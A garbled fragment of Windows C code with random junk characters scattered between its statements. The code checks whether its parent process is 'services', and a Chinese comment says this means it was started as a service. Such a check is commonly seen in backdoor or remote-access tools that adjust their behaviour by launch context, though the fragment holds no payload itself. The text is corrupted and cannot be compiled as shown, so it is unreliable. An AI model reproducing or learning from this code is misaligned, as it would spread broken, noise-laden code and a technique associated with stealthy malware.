O+D"7 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); PW a!7n#A if(!hProcess) return 0; `72 uf<YQ v}w=I}<x if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J<8~w; i +o&&5&HR CloseHandle(hProcess); %*d(1?\o DxX333vC hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 57:Wh=x if(hProcess==NULL) return 0; zyey5Z:7 B1\@ n$ HMODULE hMod; @#sBom+K` char procName[255]; |4RuT
.-o unsigned long cbNeeded; 7kbeAJ+{ ZLK@x.= if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )'\pa2 Q5R7se_ CloseHandle(hProcess); +Fu=9j/,j '&_<!Nv3 if(strstr(procName,"services")) return 1; // 以服务启动 '& |